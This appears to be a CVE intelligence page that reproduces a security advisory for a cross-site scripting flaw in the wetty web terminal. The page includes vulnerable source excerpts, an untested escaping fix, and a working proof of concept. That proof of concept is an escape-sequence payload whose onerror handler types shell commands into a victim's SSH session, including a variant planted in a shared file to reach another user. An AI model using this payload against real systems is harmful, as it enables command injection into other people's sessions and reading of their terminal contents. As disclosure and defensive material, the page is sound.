wetty CVE-2026-49864
HIGHSeverity by source
Payload arrives over network in rendered output (AV:N) but the victim must display it (UI:R); no wetty auth needed (PR:N); XSS escapes the web origin into the SSH session (S:C) giving terminal read (C:H) and keystroke injection (I:H).
Lifecycle Timeline
1DescriptionCVE.org
Summary
The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.
Preconditions
- Victim has wetty open with an active SSH session.
- Attacker delivers the file-download escape sequence (
\x1b[5i<b64-name>:<b64-content>\x1b[4i) into output the victim's terminal renders. - Default configuration; no non-default flags required.
Details
// src/client/wetty.ts:37, 46-62
const fileDownloader = new FileDownloader();
// ...
socket.on('data', (data: string) => {
const remainingData = fileDownloader.buffer(data);
// every PTY byte forwarded by the server passes through buffer()
// ...
})Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.
// src/client/wetty/download.ts:9-77
function onCompleteFile(bufferCharacters: string): void {
let fileNameBase64;
let fileCharacters = bufferCharacters;
if (bufferCharacters.includes(':')) {
[fileNameBase64, fileCharacters] = bufferCharacters.split(':');
}
// ...
void detectAndDownload(bytes, fileCharacters, fileNameBase64);
}
async function detectAndDownload(/* ... */): Promise<void> {
// ...
let fileName;
try {
if (fileNameBase64 !== undefined) {
fileName = window.atob(fileNameBase64); // attacker-controlled
}
} catch { /* ... */ }
fileName ??= `file-${ /* timestamp default */ }`;
// ...
Toastify({
text: `Download ready: <a href="${blobUrl}" target="_blank" `
+ `download="${fileName}">${fileName}</a>`, // sink
duration: 10000,
// ...
escapeMarkup: false,
}).showToast();
}fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.
Proof of concept
Setup
- Bring up wetty and its bundled SSH host from a fresh clone:
git clone https://github.com/butlerx/wetty
cd wetty
docker compose up -d
sleep 5- Open
http://localhost/wettyin a browser. The login terminal prompts for a username (enterterm) then proxies towetty-ssh, which prompts for the SSH password (alsoterm, set incontainers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.
Exploit
- In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:
PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'
FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
DATA_B64=$(printf 'bait' | base64 -w0)
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied <img> element with the onerror handler.
- The
onerrorhandler callswindow.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as adataevent;src/client/wetty.ts:40-42forwards it as a socketinputevent; the server writes it to the PTY. The SSH host runsid > /tmp/pwnedas the connected user:
cat /tmp/pwnedExpected: uid=1000(term) gid=1000(term) groups=1000(term).
- The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:
# As the low-priv user on the SSH host
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txtWhen the higher-privileged user's wetty session runs cat /tmp/notes.txt, attacker-controlled JavaScript types commands into that user's shell.
Impact
- Confidentiality: Reads the rendered terminal contents via
window.wetty_term.buffer.active. - Integrity: Types attacker-chosen commands into the victim's SSH session via
window.wetty_term.input(). - Auth: A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.
Suggestions to fix
> _This has not been tested - it is illustrative only._
HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at src/client/wetty/download.ts:67-77.
fileName ??= `file-${new Date()
.toISOString()
.split('.')[0]
.replace(/-/g, '')
.replace('T', '')
.replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;
+ const safeName = fileName.replace(/[&<>"']/g, (c) =>
+ ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' })[c] ?? c,
+ );
const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });
const blobUrl = URL.createObjectURL(blob);
Toastify({
- text: `Download ready: <a href="${blobUrl}" target="_blank" download="${fileName}">${fileName}</a>`,
+ text: `Download ready: <a href="${blobUrl}" target="_blank" download="${safeName}">${safeName}</a>`,
duration: 10000,Articles & Coverage 1
AnalysisAI
Cross-site scripting in the wetty web-terminal client (npm package wetty, default configuration) lets any writer of content a victim renders inject keystrokes into that victim's live SSH session. The client base64-decodes an attacker-controlled filename from the documented file-download escape sequence (\x1b[5i<name>:<content>\x1b[4i) and interpolates it raw into a Toastify toast with escapeMarkup:false, so script runs in the wetty origin and can call window.wetty_term.input() to type commands and read the terminal buffer. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Concrete prerequisites: (1) the victim has wetty open in a browser with an active SSH session; (2) the attacker can get the exact file-download escape sequence `\x1b[5i<base64-filename>:<base64-content>\x1b[4i` into any output the victim's terminal renders - a cat'd file, a tailed log, an SSH MOTD/banner, or a curl/HTTP response body; and (3) the base64 'filename' half carries an HTML/JavaScript payload. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | No CVSS score or vector was provided by any source, so quantitative severity is unconfirmed; likewise no EPSS score and no CISA KEV listing are available. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | On a shared SSH host reached through wetty, a low-privileged user writes a file (e.g. /tmp/notes.txt) containing `\x1b[5i<b64 HTML payload>:<b64 content>\x1b[4i`, where the filename payload is an `<img src=x onerror=...>` that calls `window.wetty_term.input("id > /tmp/pwned\n",true)`. … |
| Remediation | No vendor-released patch version is identified in the available data; the advisory (https://github.com/butlerx/wetty/security/advisories/GHSA-p26j-h7wj-r568) provides an illustrative, explicitly untested fix rather than a confirmed release, so treat this as 'no vendor-released patched version independently confirmed' and check the advisory for an updated fixed release before relying on an upgrade. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory all systems running wetty and assess production criticality; disable non-critical instances. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve
Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-p26j-h7wj-r568